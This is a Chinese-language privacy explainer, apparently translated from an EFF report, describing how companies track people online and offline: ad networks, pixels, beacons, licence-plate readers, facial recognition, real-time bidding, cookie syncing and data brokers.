通常情况下，跟踪器不能依靠单一的标识符来作为与用户的稳定链接。IP地址会发生变化，人们会清除 cookie，广告ID可能会被重置，更精明的用户可能会使用一次性电话和电子邮件地址。

即便如此，跟踪者也不会放弃。他们通常会将多个身份标识组合起来，创建一个统一的档案。这样一来，当一个标识或另一个标识发生变化时，他们也不太可能失去对用户的追踪，而且随着时间的推移，他们可以将旧的标识符与新的标识符联系起来。

追踪者在这里有一个优势，因为有很多不同的方法来识别用户。如果用户清除了 Cookie，但他们的IP地址没有改变，那么将旧的 Cookie 与新的 Cookie 联系起来是轻而易举的。

如果他们从一个网络转移到另一个网络，但使用相同的浏览器，浏览器指纹可以将他们的旧会话链接到新会话。

如果他们阻止第三方 cookie，并使用难以指纹追踪的浏览器，跟踪者可以使用第一方cookie共享与TLS会话数据相结合，以建立用户行为的长期档案。

在这场猫鼠游戏中，追踪者比个人用户具有技术优势。

第二部分：跟踪网络是什么样的？

「图」

为了跟踪你，大多数跟踪公司需要说服网站或应用程序开发人员在其产品中加入自定义跟踪代码。这可不是一件小事：追踪代码可能会减慢软件的速度，惹恼用户，并引发GDPR等法律的监管。

然而，最大的追踪网络覆盖了网络和应用商店的大片区域，一直从数百万个不同的来源收集数据。在物理世界中，跟踪器可以在广告牌、零售店和商场停车场中找到。那么，追踪器是如何以及为什么如此广泛地存在呢？Top trackers on the Web, ranked by the proportion of web traffic that they collect data from. Google collects data about over 80% of measured web traffic. Source: WhoTracks.me, by Cliqz GBMH.

软件中的跟踪：网站和应用程序

「图」

1、广告网络

「图」

Each ad your browser loads may come from a different advertising server, and each server can build its own profile of you based on your activity. Each time you connect to that server, it can use a cookie to link that activity to your profile.

第三方追踪背后的主导市场力量是广告行业，下文第三部分将讨论。因此，在线广告是数据收集的主要载体之一也就不足为奇了。

在最简单的模型中，一个单一的第三方广告网络在一些网站上提供广告。每个与广告网络合作的出版商必须在其网站上包含一小段代码，该代码将从广告服务器加载广告。

每次用户访问合作网站时，都会触发对广告服务器的请求，从而让广告服务器在用户的浏览器中设置第三方 cookies，并跟踪用户在整个网络中的活动。

同样，广告服务器可能会提供一个广告托管软件开发工具包

（SDK），供移动应用开发者使用。每当用户打开使用SDK的应用时，该应用就会向广告服务器发出请求。这个请求可以包含用户设备的广告ID，从而使广告服务器能够对用户在不同应用中的活动进行描述。

实际上，在线广告生态系统更加复杂。广告交易市场为网页上的单个广告展示举办“实时拍卖”。在这个过程中，他们可能会从其他多个第三方广告供应商那里加载代码，并可能与许多参与拍卖的潜在广告商共享每个展示的数据。您看到的每个广告可能正在与几十个跟踪器共享数据。后面将做详细介绍。

2、分析和跟踪像素

「图」

跟踪代码通常不与用户可见的任何东西相关联，比如第三方广告。在网络上，很大一部分跟踪是看不见的。这些“跟踪像素”被许多网络上最多产的数据收集器使用，包括谷歌分析、Facebook、亚马逊和DoubleVerify。

当网站所有者安装第三方的跟踪像素时，他们通常会以访问第三方收集的一些数据为交换条件。例如，谷歌分析和 Chartbeat 使用像素收集信息，并为网站所有者和出版商提供关于什么样的人正在访问他们的网站的分析。

再深入一个层次，像 Facebook 这样的广告平台还提供“转换像素”，让发布者可以跟踪自己的第三方广告获得了多少点击量。

基于网络的分析领域的最大玩家也为移动应用提供类似的服务。Google Analytics 和 Facebook 是 Android 和 iOS 上最受欢迎的两个SDK。这些服务默默地收集移动应用的用户信息，然后与应用开发者分享部分信息。

移动第三方跟踪器通过提供分析或单点登录等有用的功能来说服应用开发者安装其SDK。SDK只是应用程序开发人员添加到其项目中的大块代码。当他们编译和发布一个应用时，第三方代码就会随应用一起发布。与基于Web的工具不同，移动应用中的分析服务不需要使用“像素”或其他技巧来触发第三方请求。

另一类跟踪器代表广告商工作，而不是第一方网站或应用程序。这些公司与广告商合作，监测他们的广告在哪里、如何、以及向谁提供服

务。他们往往不与第一方出版商合作，事实上，他们的目标是收集出版商以及用户的数据。

DoubleVerify 是最大的此类服务之一。第三方广告商在投放广告的同时注入 DoubleVerify 代码，DoubleVerify 会估计每个展示是否来自真实的人类（而不是机器人），人类是否是广告商的目标对象，以及广告周围的页面是否 “品牌安全”。

根据其隐私政策，该公司会衡量 “广告在消费者浏览器中显示的时间” 和 “广告在消费者浏览器上的显示特征”。为了做到这一切，DoubleVerify 收集了用户浏览器的详细数据；它是迄今为止网络上最大的第三方浏览器指纹来源。

它收集位置数据，包括来自其他第三方来源的数据，试图确定用户是否在广告商所瞄准的地理区域观看广告。

该领域的其他公司包括 Adobe、Oracle 和 Comscore。

3、嵌入式媒体播放器

「图」

有时，第三方跟踪器会提供用户真正想看的内容。在网络上，嵌入第三方内容对于博客和其他媒体网站来说极为常见。一些例子包括 YouTube、Vimeo、Streamable 和 Twitter 等服务的视频播放器，以及 Soundcloud、Spotify 和播客流服务的音频小部件。

这些媒体播放器几乎总是在 IFrames 中运行，因此可以访问本地存储，并能够运行任意的 JavaScript。这使得它们也非常适合追踪用户。

4、社交媒体小部件

「图」

社交媒体公司为网站提供各种服务，如 Facebook “点赞” 按钮和 Twitter分享按钮。请记得 **Like** 和 **Share** 按钮可以像像素一样被用于跟踪：“按钮” 实际上是一个嵌入的图像，它触发了对社交媒体公司服务器的请求。

更复杂的小部件，如评论区，工作方式更像嵌入式媒体播放器。它们

通常位于 IFrames 内部，更容易进入用户的浏览器。像媒体播放器一样，这些小部件能够访问本地存储和运行 JavaScript，以便计算浏览器指纹。

最后，最大的公司（尤其是 Facebook 和谷歌）向小公司提供账户管理服务，比如“用谷歌登录”。这些被称为“单点登录”的服务对出版商有吸引力，原因有几个。比如 独立网站和应用程序可以将管理用户账户的工作卸载给大公司；用户需要记住的用户名/密码相对较少，也不需要经常经历恼人的注册/登录流程 …… 但是，对于用户来说，是要付出代价的：账户管理服务允许登录服务商作为第三方，跟踪用户在所有登录服务上的活动。登录服务是比像素等小玩意更厉害的跟踪器，因为它们迫使用户确认身份。

5、验证码

「图」

验证码是一种测试用户是不是机器人的技术。出版商在他们想要特别小心阻止自动流量的页面上安装这东西，比如注册表和可投放特别大的文件的页面。

谷歌的 ReCAPTCHA 是网络上最流行的验证码技术。每当连接到一个使用 recaptcha 的网站时，您的浏览器都会连接到一个*.google.com 域，以便加载验证码资源，并与谷歌共享所有相关的 **cookies**。这意味着其验证码网络是谷歌可以用来描述用户的另一个数据来源。

旧的验证码要求用户阅读乱码文字或点击比如自行车的图片，而新的 ReCAPTCHA v3 记录了“与网站的互动”，并默默地猜测用户是否是人类。

ReCAPTCHA 脚本不会将原始的交互数据发回给谷歌。相反，它们会生成类似于行为指纹的东西，它总结了用户与页面的交互方式。

谷歌将其反馈到机器学习模型中，以估计用户是人类的可能性有多大，然后将该估计值返回给第一方网站。

除了让用户更方便之外，这个较新的系统还在两个方面给谷歌带来了好处。首先，它使大多数用户看不到 CAPTCHAS，这可能会使人们不太清楚谷歌（或任何人）正在收集他们的数据。其次，它利用谷歌庞大的行为数据集来巩固其在验证码市场的主导地位，并确保未来的任何竞争对手都需要他们自己的一部分交互数据以建立以类似方式工作

的工具。

6、会话重播服务

「图」

会话重播服务是网站或应用程序所有者可以安装的工具，以便实际记录用户如何与他们的服务互动。这东西既可以在网站上操作，也可以在应用程序中操作。它们记录用户的按键、鼠标移动、点击、滑动和对页面的更改，然后允许第一方网站在事后“重放”个人用户的体验。

通常情况下，用户不会知道自己的行为被记录并与第三方共享。

这些令人毛骨悚然的工具带来了巨大的风险，敏感数据，如医疗信息、信用卡号码或密码，都将被记录和泄露。

会话重播服务的提供者通常会让客户自行将某些数据指定为禁区。但是对于客户来说，过滤掉敏感信息的过程是微妙的、费力的、耗时的，而且这与重放服务“在几秒钟内就能设置好”的承诺完全矛盾。

因此，独立审计发现，敏感数据最终依旧会出现在记录中，而会话重播服务提供商往往不能适当保护这些数据。

被动的、真实世界中的跟踪

「图」

1、WiFi热点和无线信标

「图」

许多消费类设备发出无线“探针”信号，许多公司安装了商业信标，在物理世界的各个角落拦截这些探针。一些设备会随机分配它们在探针中共享的唯一MAC地址设备标识符，保护自己免受被动追踪，但并不是所有设备都会这样做。而连接到开放的**WiFi**网络或给应用蓝牙权限，总是会让设备打开追踪。

如上所述，WiFi热点、无线信标和其他无线电设备都可以用来“监听”附近的设备。像 Comcast（提供 XFinity WiFi）和谷歌（在星巴克和许多其他企业中提供免费WiFi）这样的公司在世界各地都安装了WiFi

热点；仅 Comcast 就拥有超过1800万个 XFinity WiFi 安装。还有几十家你可能都没听说过的公司为咖啡店、餐厅、活动和酒店提供免费WiFi。

公司还付费在现实世界的企业和公共场所安装无线信标。在零售店周围、政治集会上、竞选活动现场以及路灯杆上都安装了支持蓝牙的信标。

无线信标能够在两个层面进行跟踪。首先，也是最令人关注的，无线信标可以被动地监控设备一直发出的“探针”。如果一个设备正在广播它的硬件MAC地址，公司就可以利用它们收集到的探针来追踪其用户在一段时间内的移动情况。WiFi hotspots and bluetooth beacons can listen for probes that wireless devices send out automatically. Trackers can use each device’s MAC address to create a profile of it based on where they’ve seen that device.

其次，当用户连接到WiFi热点或蓝牙信标时，热点或信标的控制器可以将设备的MAC地址与IP地址、Cookie 和广告ID等附加标识符连接起来。

许多WiFi热点运营商还使用登录页面来收集用户的真实姓名或电子邮件地址信息。

然后，当用户从该热点浏览网页时，运营商就可以收集所有来自用户设备的流量数据，就像**ISP**一样。

蓝牙信标的使用方式略有不同。手机允许应用程序在获得一定权限的情况下访问蓝牙接口。而拥有蓝牙权限的应用中的第三方追踪器可以自动连接到现实世界中的蓝牙信标，它们可以利用这些连接收集非常详细的位置数据。

值得庆幸的是，现在 iOS 和 Android 设备都默认发送带有探针的混淆MAC地址。这就避免了上述第一种、被动式的追踪方式。

但手机并不是唯一具有无线功能的设备。笔记本电脑、电子阅读器、无线耳机，甚至汽车，都经常配备蓝牙功能。

- 《如何破解蓝牙打开监狱大门：黑客主义行动力（5）》

这些设备中的一些并不具备新型号的智能手机所具备的MAC随机化功能，这使得它们很容易受到被动式位置跟踪的影响。

此外，即使是具有MAC随机化功能的设备，在实际连接到无线热点或蓝牙设备时，通常也会共享静态的MAC地址。这就增加了上述第二种追踪方式的风险，即 当设备连接到公共 WiFi 网络或本地蓝牙信标时发生的风险。

2、车辆跟踪和ALPR

「图」

自动车牌读取器 ALPRs，是一种配备有检测和读取车牌能力的监视摄像头，它们还可以利用汽车的其他特征，如品牌、型号、颜色和磨损，来帮助识别汽车。

ALPR 通常由警察部门使用，但许多 ALPR 设备由私人公司拥有。这些公司不分青红皂白地收集所有车辆的数据，一旦他们掌握了这些数据，就可以把这些数据再卖给任何人：当地警察、联邦移民执法机构、私人数据聚合商、保险公司、甚至赏金猎人（私家侦探）。

不同的公司从不同的来源收集车牌数据，并将其出售给不同的受众。在美国，数字识别网络（Digital Recognition Network，简称DRN）的数据来源于全国各地数千家收车机构，并将数据出售给保险机构、私人调查员和 “资产回收” 公司。

根据 Motherboard 的调查，被DRN收集数据的绝大多数个人并没有犯罪嫌疑、也没有叫拖车。创业公司 Flock Safety提供由 ALPR 驱动的 “邻里守望” 服务（就是群众斗群众），业主可以在自己的物业上安装ALPR，以便记录和分享开车经过自己小区的所有汽车的信息。

DRN 由 VaaS International Holdings 拥有，这是一家位于沃斯堡的公司，该公司将自己标榜为 “车牌识别 **(‘LPR’)**和面部识别产品和数据解决方案的卓越供应商”。它还拥有 Vigilant Solutions，另一家ALPR技术的私人传播者。

Vigilant 的客户包括警察机构和私人购物中心。Vigilant 将来自全国各地数千个来源的数据汇集到一个单一的数据库中，它称之为 “PlateSearch”。数十家执法机构为访问 PlateSearch 付费。

根据EFF的研究，Vigilant 记录的大约**99.5%**的车牌在被扫描时与公共安全利益完全无关。

摄像头和机器视觉并不是唯一能够实现车辆跟踪的技术。被动式MAC

地址跟踪也可用于跟踪车辆运动。车辆内部的电话、有时是车辆本身，都会广播包括其MAC地址在内的探测请求。战略性地放置在道路周围的无线信标可以监听这些信号。一家名为 Libelium 的公司销售一种无线信标，这种信标旨在安装在路灯上，以便跟踪附近的交通。

- 《路灯间谍》

3、人脸识别监视相机

「图」

人脸识别已经在一些国家的执法部门广泛部署，包括中国和英国。这具有可怕的影响：它允许大规模记录无辜者的一举一动。在中国，它不仅被用来监视和控制维吾尔族社区的成员。

媒体报道往往只关注警察部门使用人脸识别相关的公民自由危害。但是，人脸识别也已经被部署在一些私营行业中。比如 航空公司在登机前使用人脸识别来验证乘客的身份；音乐会场馆和票贩子用它来筛选音乐会的观众；零售商使用人脸识别来识别那些据说有较大购物风险的人 …… 私人保安公司出售配备了人脸识别功能的机器人，用于监控公共场所，帮助雇主掌握员工的情况。而学校甚至夏令营也用它来监视孩子们的一举一动。

- 《禁止面部识别可以做到什么、不能做到什么》

大型科技公司已经开始投资于面部识别功能的支付处理，这将使他们有另一种方式将现实世界的活动与用户的在线角色联系起来。Facebook 已经申请了一项系统专利，该系统可以将人脸与社交媒体资料联系起来，以便处理支付。另外，亚马逊的实体店 “Go” 也依靠生物识别技术来追踪进入的人和他们拿走的任何东西，以便收取相应的费用。

- 关于 Facebook
- 关于谷歌

此外，许多人认为面部识别是将定位广告带入物理世界的一种合理方式。人脸识别相机可以安装在商店、广告牌和商场中，以描述人们的行为，建立每个人的行为习惯档案，并向人们发送定位信息。

2019年1月，Walgreens 开始了一项试点计划，使用安装在冰箱门LED屏幕上的人脸识别相机。这个想法是，消费者不需要透过玻璃板

看冰箱里的东西，而是可以看一个屏幕，屏幕上会显示图形，表明里面有什么。监视摄像机对站在冰箱前的人进行面部识别，图形可以动态改变，以提供针对该人的定位广告。无论 Walgreens 最终是否会在更大范围内部署这项技术，这似乎都是零售商的一个方向。

4、支付处理器和金融科技

「图」

所谓的"金融科技"，是对与金融相关的技术公司这一新兴行业的总称。数以千计的相对较新的科技公司充当了老牌金融机构和较新技术（包括跟踪和监控技术）之间的粘合剂。这些金融科技公司往往比银行等传统机构受到更少的政府监督。

支付处理商是代表其他企业接受付款的公司。因此，他们掌握了大量有关企业销售和人们购买的信息。由于大多数金融交易都涉及信用卡号码和姓名，支付处理商很容易将他们收集的数据与真实身份联系起来。

其中一些公司是纯粹的服务提供商，除了将钱从一个地方转移到另一个地方之外，不会将数据用于任何其他目的。而另一些则是建立消费者或企业的档案，然后将这些数据货币化。例如，Square 是一家为小企业生产信用卡阅读器的公司，它还利用收集到的信息向第三方提供有针对性的广告，并通过其 Square Capital 计划承保贷款。

一些金融科技公司直接向用户提供金融服务，比如 TurboTax 和 Mint 背后的 Intuit 公司。其他公司则为银行或企业提供服务。

在金融科技领域，"数据聚合商" 充当了银行和其他服务之间的中介，比如理财应用。在这一过程中，数据聚合商获得了所有通过其管道的数据，包括数百万人的账户余额、未偿还债务和信用卡交易。

此外，聚合商还经常收集消费者的用户名和密码，以便从银行提取数据。Yodlee 是该领域最大的公司之一，它将交易数据出售给对冲基金，而对冲基金则挖掘这些信息，为股市走势提供参照。

许多用户并不知道自己的数据除了用于操作他们注册的应用程序外，还被用于非常多的其他用途。

5、追踪和企业权力

「图」

许多从数据跟踪中获益最大的公司都有令人信服的方法来吸引网络开发者、应用创建者和商店经理安装他们的跟踪技术。拥有垄断权力或近乎垄断的公司斗可以利用其市场力量建立跟踪网络，监控和抑制较小的竞争对手，并利用消费者的隐私人权来获得自己的经济优势。

公司权力和公司监控在几个方面相互加强。

首先，谷歌和 Facebook 等最大的寡头公司向出版商施压，要求他们安装跟踪代码。出版商依靠世界上最大的社交网络和世界上最大的搜索引擎来推动自己网站的流量。因此，大多数出版商需要投放广告。而为了追踪他们的广告效果如何，他们别无选择，只能在自己的网站和应用上安装谷歌和 Facebook 的跟踪器。

谷歌、Facebook 和亚马逊也是第三方广告网络，共同控制着超过三分之二的市场。这意味着想要实现内容货币化的任何出版商都很难避开大平台的广告追踪代码。

其次，垂直整合的科技公司可以控制追踪市场的两个方面。谷歌管理着世界上最大的行为广告系统，它通过收集安卓手机和 Chrome 浏览器 —— 世界上最流行的移动操作系统和最流行的网络浏览器 —— 的数据来提供动力。与同行的操作系统和浏览器相比，谷歌的用户软件使其追踪器更容易收集数据。

当Web设计者第一次描述浏览器时，他们称其为 “用户代理”：代表用户在互联网上采取行动的软件。但是，当一个浏览器制造商同时也是一家以监视资本主义为收入来源的公司时，公司在用户隐私和控制方面的承诺与公司在追踪方面的利益是完全相悖的。利益通常会占上风。

第三，数据不仅可以用来剖析人，还可以用来剖析竞争对手的公司。最大的数据收集者不仅知道每个人的行为方式，他们还比任何人都更了解市场和他们的竞争对手。

谷歌的跟踪工具监控着全网 80% 以上的流量，这意味着它对竞争对手流量的了解往往和竞争对手一样多（甚至更多）。

Facebook (通过第三方广告、分析、转换像素、社交小工具以及臭名昭著的间谍 VPN应用) 也监控着大大小小的网站、应用和出版商的使用和增长情况。亚马逊已经在其 Amazon Web Services 中托管了大面

积的互联网，并开始建立自己强大的第三方广告网络。

这些巨头利用这些信息来识别新生的竞争对手，然后在它们成为重大威胁之前将其收购或克隆其产品。根据内部机密文件，Facebook 利用其 VPN Onavo 的用户行为习惯数据，为其收购 WhatsApp 提供信息。

第四，随着科技巨头将追踪权力集中到自己手中，他们可以将获取数据作为反竞争的砝码。也就是数据权力。

Facebook 很清楚，对其API的访问权 (以及由此带来的详细私人数据) 对其他社交公司来说是无价的。**Facebook** 最臭名昭著的历史就包括，允许或拒绝访问用户数据，以破坏竞争。

此外，谷歌和 Facebook 都已经开始采取政策，限制竞争对手对其数据的访问，而不限制他们自己收集的数据。

例如，现在大多数大型平台都限制了自己网站上的第三方追踪器。在谷歌自己的实时出价版本中，谷歌最近开始限制对广告识别器和其他信息的访问，这些信息将允许竞争的广告网络建立用户档案。而在“剑桥分析公司” 事件之后，Facebook 开始锁定对第三方API的访问权限，但是并没有对 Facebook 自身收集的用户数据进行任何有意义的改变。

一方面，限制第三方访问可以带来隐私方面的好处。但另一方面，将第三方开发者和外部行为者踢出 **Facebook** 和谷歌的平台服务，只会使垄断问题变得更加严重，让现有巨头对其收集的用户数据独揽大权，并巩固其危害隐私的监视资本主义体制。

与其将竞争和隐私视为孤立的问题，不如赋予用户权力，需要解决这两个问题，以减少大公司对用户数据和注意力的控制。

最后，这些寡头公司可以通过并购获得其他公司的大量数据。Google Analytics 以独立公司 Urchin 起家，Google 在2005年收购了这家公司。2007年，谷歌通过收购 Doubleclick 来超额完成其第三方广告网络，从而成为了现在行为定向广告市场的领导者。2019年底，它又收购了健康数据公司 Fitbit，将每个人多年积累的步数和运动记录合并到谷歌自己庞大的用户身体活动数据库中。

- 《Google买下了Fitbit，这对您的数据隐私意味着什么？》

在其短暂的存在中，Facebook 已经收购了67家其他公司。亚马逊收

购了91家，谷歌收购了214家 —— 平均每年超过10家。

Facebook、亚马逊或谷歌所收购的许多小公司都能获得大量数据和数百万活跃用户。

每一次收购，这些数据源都会被整合到科技巨头控制的已经非常庞大的数据权力孤岛中。而由于网络效应，当这些数据都放在一个屋檐下时，就会变得更加有价值。

📌 单独来看，Doubleclick 可以组装出用户完全浏览历史的假名资料。但作为谷歌的一部分，它就可以将这些数据与真实姓名、位置、跨设备活动、搜索历史、和社交图谱合并起来，形成有关每个人的详细档案。

- 《浏览历史记录曝光你的内心全景图：开源调查演示》

那些数十亿美元的科技巨头并不是唯一跟踪您的恶魔。但他们规模越大，知道的东西就越多。而一家公司能够获得的数据种类越多，其对用户和竞争对手的控制权就越强大。

在监视资本主义经济体制中，富人只会越来越富。

第3部分：定位，代理和实时出价

「图」

数据收集后会去哪里？大多数追踪者并不是自己收集每一条信息的。相反，各公司共同合作，为自己收集数据，并相互分享。

有时，拥有同一个人信息的公司只会将其简单地结合起来，以确定哪个广告商将向该人提供哪种广告。在其他情况下，公司将其整个商业模式建立在收集和销售他们从未与之互动的个人数据上。

在所有情况下，他们收集和分享的数据类型都会影响目标用户的体验，无论是通过影响他们接触到的广告，还是通过决定他们最终被编入哪些政府数据库。

此外，用户的数据被传播得越多，受到有害数据泄露影响的风险就越大。本节将探讨个人信息是如何被共享的，以及它的去向。

1、实时出价

「图」

实时出价系统是出版商和广告商用来提供目标广告的系统。互联网广告界的销售单位是 “印象”。每当一个人访问一个有广告的网页时，这个人就浏览了一个广告印象。在幕后，广告客户向广告网络支付向您展示广告的权力，广告网络向您看到广告的网页的出版商支付费用。

但是，在这之前，出版商和广告网络必须决定显示哪些广告。为此，他们要进行一场拍卖，拍卖者提供用户的个人信息，然后几十台公司服务器上的软件对该用户的眼球进行竞价。数据流向一个方向，资金流向另一个方向。

这种 “实时出价” 是相当复杂的，这个主题可以单独编写一份白皮书。幸运的是，关于这个话题已经有了非常多深入的资源。Johnny Ryan 博士和 Brave 写了一系列关于RTB的隐私影响的文章。还有一篇关于协议的隐私影响的博士论文。本节将简要概述这个过程是什么样的，其中大部分是基于 Ryan 的研究工作。Supply-side platforms use cookies to identify a user, then distribute “bid requests” with information about the user to potential advertisers.

首先，数据从你的浏览器流向广告网络，也就是 “供应方平台”（SSP）。在这种经济中，你的数据和你的眼球（注意力）就是广告网络和**SSP**出售的 “供应”。

每个SSP都会收到你的身份信息，通常是以 cookie 的形式，并根据它对你过去行为的了解，生成一个 “出价请求”。接下来，SSP将这个出价请求发送给每一个表示有兴趣展示广告的几十家广告商。The `user` object in an OpenRTB bid request contains the information a particular supply-side platform knows about the subject of an impression, including one or more unique IDs, age, gender, location, and interests. Source: https://github.com/InteractiveAdvertisingBureau/AdCOM/blob/master/AdCOM%20v1.0%20FINAL.md#object–user-

📌 出价请求包含有关您的位置，兴趣和设备的所有信息，并包括您的唯一ID。上面的屏幕截图显示了 OpenRTB 出价请求中包含的信息。After the auction is complete, winning bidders pay supply-side platforms, SSPs pay the publisher, and the publisher shows the user an ad. At this point, the winning advertiser can collect even more information from the user’s browser.

最后，轮到竞价者了。利用自动化系统，广告商看了你的信息，决定是否要向你做广告，以及要展示哪一个广告，然后向SSP回复出价。SSP决定谁在竞价中获胜，并将获胜者的广告显示在发布者的网页上。

📌 竞价请求中的所有信息都会在任何资金转手之前共享。而没有赢得竞价的广告商仍然会收到用户的个人信息。这就实现了 “影子竞价”。某些公司可能会假装对购买印象感兴趣，但故意在每次拍卖中竞价输掉，目的就是以尽可能便宜的价格收集到尽可能多的数据。

此外，在SSP和广告主之间有多层公司都参与实时出价，每一层公司也都会对用户信息进行吸纳。

SSP与 “广告交易所” 对接，“广告交易所” 与 “需求方平台”(DSP)共享数据”，需求方平台也从数据经纪人那里共享和购买数据。发布商与SSP合作销售他们的广告空间，广告商与DSP合作购买广告空间，广告交易所则连接买家和卖家 …… 您可以在这里阅读为广告商撰写的SSP和DSP之间的差异分析。

很难理解也没关系，您只需要知道：参与整个过程的每个人都能收集到您的行为数据。

在竞价过程中，广告商和与之合作的DSP可以使用第三方数据经纪人来增强他们掌握的个人用户的资料。这些数据经纪人自称为 “数据管理平台”(DMP)，他们根据竞价请求中包含的身份标识和人口统计数据出售个人数据。换句话说，广告商与数据经纪人共享用户ID，并获得该用户的行为档案作为回报。Source: Zhang, W., Yuan, S., Wang, J., and Shen, X. (2014b). Real-time bidding benchmarking with iPinYou dataset. arXiv preprint arXiv:1407.7073.

上图再次展示了单个实时出价拍卖中的信息和资金流向。

从访问页面的用户的角度来看，实时出价造成了两组独立的隐私侵犯。

首先，在人们访问页面之前，一系列公司跟踪你的个人信息，包括在线和离线，并将其合并成一个关于您的复杂的档案。然后，在实时出价过程中，一组不同的公司使用该档案来决定广告印象的出价。

作为用户访问页面的结果，实时出价参与者从访问用户那里收获了额外的信息。这些信息被注入到用户的旧档案中，以便在其下一次访问

页面所触发的后续实时出价中使用。

因此，实时出价既是追踪的原因，也是追踪的手段。

网络上的实时出价工具：Cookie同步 ——

「图」

Cookie同步是网络追踪者用来将 Cookie 相互链接、并将一家公司拥有的关于用户的数据与其他公司可能拥有的数据相结合的一种方法。

从机制上讲，它非常简单。一个跟踪域触发对另一个跟踪器的请求。在请求中，第一个跟踪器发送一份自己的跟踪 cookie 的副本。第二个跟踪器同时获得自己的 cookie 和第一个跟踪器的 cookie。这样，它就可以与另一个跟踪器进行 “比较说明”，同时建立起它对用户的档案。

Cookie共享通常作为实时出价的一部分被使用。在竞价请求中，SSP与所有潜在投标人共享自己的 Cookie ID。在没有同步的情况下，需求方平台可能会有自己的关于用户的档案与自己的 cookie ID 挂钩。

一个DSP可能不知道 Doubleclick（谷歌的广告网络）的用户 “abc” 和自己的用户 “xyz” 是同一个人。而Cookie 同步就让他们能够确定这点。

作为竞价过程的一部分，SSP通常会同时向许多DSP触发 Cookie 同步请求。这样一来，在SSP下次发出出价请求时，将要出价的DSP可以使用他们自己的关于用户的行为档案来决定如何出价。Cookie syncing. An invisible ‘pixel’ element on the page triggers a request to an ad exchange or SSP, which redirects the user to a DSP. The redirect URL contains information about the SSP’s cookie that lets the DSP link it to its own identifier. A single SSP may trigger cookie syncs to many different DSPs at a time

移动应用中的实时出价 ——

「图」

实时出价是为Web创建的，但它同样适用于移动应用中的广告。追踪者使用广告ID来代替 cookies。

iOS和安卓系统中内置的广告ID让追踪者的工作更加轻松。在网络上，每个广告主都有自己的 cookie ID，需求方平台需要与 DMPs 以及彼此同步数据，以便将他们的数据与特定用户绑定。

但在移动设备上，每个用户都有一个通用的广告ID，每个应用都可以访问。这意味着，上述描述的在web上的同步程序在移动设备上没有必要，广告商可以使用广告ID来确认身份，共享数据，并建立更详细的档案，在此基础上出价。

2、群体定位和相似受众

「图」

有时，大型平台并不披露他们的数据，而是临时出租其数据驱动的工具的访问权。Facebook、谷歌和 Twitter 都允许广告商针对各类人群投放广告。例如，Facebook 允许广告商针对具有某些 “兴趣” 或 “亲和力” 的用户。

这些公司不会向广告商展示其活动目标个人的实际身份。如果你在 Facebook 上发起一个活动，目标是 “对圣地亚哥轮滑阻拦赛兴趣的人”，你无法马上看到一个名单。然而，这种定位确实允许广告商直接接触到参加比赛的圣地亚哥人，并将他们引导到外部网站或应用程序。

当目标用户点击广告时，他们会被引导离开 Facebook，进入广告商的域名。此时，广告商知道这些人来自 Facebook，并且他们是目标人群的一部分。一旦用户登陆第三方网站，广告商就可以利用数据交换服务将他们与行为特征甚至现实世界的身份进行匹配。

此外，Facebook 还允许广告商根据其他人群建立 “外观相似的受众”。例如，假设你是一家有网站的发薪日贷款公司。你可以在你的债务人访问的页面上安装一个隐形的 Facebook 追踪像素，列出访问该页面的人的名单，然后要求 Facebook 创建一个 “look-alike” 受众，这些人是 Facebook 认为与您的名单上的人 “相似” 的人。

然后，您就可以在 Facebook 上针对这些人投放广告，引导他们回到你的网站，在那里你可以使用 cookies 和数据交换来识别他们是谁。

这些 “look-alike” 的功能完全是黑盒子。如果不能对它们进行审计或研究，就不可能知道它们使用了什么样的数据，以及它们可能会暴露出什么样的用户信息。

3、数据经纪人

「图」

数据经纪人是收集、汇总、处理和销售数据的公司。他们在普通用户看不见的地方经营，但的确处于数据共享经济的中心。

通常情况下，数据经纪人与用户根本没有直接关系，他们出售数据的对象可能完全不知道他们的存在。

数据经纪人从各种小公司购买信息，包括零售商、金融科技公司、医疗研究公司、在线广告商、手机供应商、物联网设备制造商、还包括地方政府。

然后，他们将数据或数据驱动的服务出售给广告商、房地产商、市场研究公司、高校、政府、私家侦探赏金猎人、和其他数据经纪人。

这又是一个太过宽泛的话题，在此不做赘述，其他人已经对数据销售生态系统进行了深入的分析。Cracked Labs 关于企业监控的报告既方便又深入。世界隐私论坛的 Pam Dixon 也对数据经纪人做了很好的研究，包括2014年的报告以及2015年和2019年在参议院的证词。

“数据经纪人” 这个词的含义非常广。它包括组装和销售电话号码或电子邮件列表的营销小公司，也包括像甲骨文这样的庞然大物，它们从成千上万的不同流中摄取数据，并向其他企业提供基于数据的服务。

一些经纪人出售原始信息流。这包括有关零售购买行为的数据、来自物联网设备的数据、以及来自联网汽车的数据。

- 《小心你的汽车变成间谍：如何从联网汽车中删除个人隐私数据？》

另一些则充当各种数据的买家和卖家之间的信息交换所。例如，Narrative 承诺帮助卖家 “释放[他们]数据的价值”，并帮助买家 “访问[他们]需要的数据”。Dawex 将自己描述为 “一个全球数据市场，在这里你可以直接面见、出售和购买数据”。

另一类公司充当中间人或 “聚合器”，从多个不同来源获得原始数据的许可，对其进行处理，并将其重新包装为其他企业的特定服务。

例如，主要的手机运营商将位置数据的访问权卖给了名为 Zumigo 和 Microbilt 的聚合商，而后者又将访问权卖给了其他一系列广泛的公

司，由此产生的市场最终达到了保释担保人和赏金猎人的手里（以及一名卧底记者）。

许多最大的数据经纪人并不出售他们收集到的原始数据。相反，他们从数以千计的不同来源收集和消费数据，然后利用这些数据组建自己的档案，并对个人进行推断。

全球最大的数据经纪人之一甲骨文公司拥有网络上最大的第三方追踪器之一 Bluekai。包括 Equifax 和 Experian 在内的信用报告机构在这里也特别活跃 —— 就是负责信用评分的机构。

虽然美国《公平信用报告法》规定了信用评分机构如何分享特定类型的数据，但是，并不妨碍这些信用机构出售追踪者收集到的大部分信息，包括交易信息和浏览历史记录。

这些公司中的许多公司都在宣传他们能够推导出心理特征，即 描述用户行为的 “天生” 特征。

剑桥分析公司（Cambridge Analytica）臭名昭著，它利用有关 Facebook 点赞的数据，得出了数百万选民的 “OCEAN评分” —— 开放性、认真性、外向性、合意性、甚至神经质程度的评分，然后用这些数据卖给政治活动以操纵选举。

- 关于剑桥分析公司《心理操纵的秘密：”行为经济学”＋PR＝？》

最后，许多经纪人利用他们的内部资料向他人提供 “身份解析” 或 “充实” 服务。如果一个企业拥有一个身份标识，如 cookie 或电子邮件地址，它就可以向数据经纪人支付费用，以 “充实” 该数据并了解该人的其他信息。

它还可以将与一个标识符（如 cookie）绑定的数据与另一个标识符（如移动广告ID）的数据联系起来。

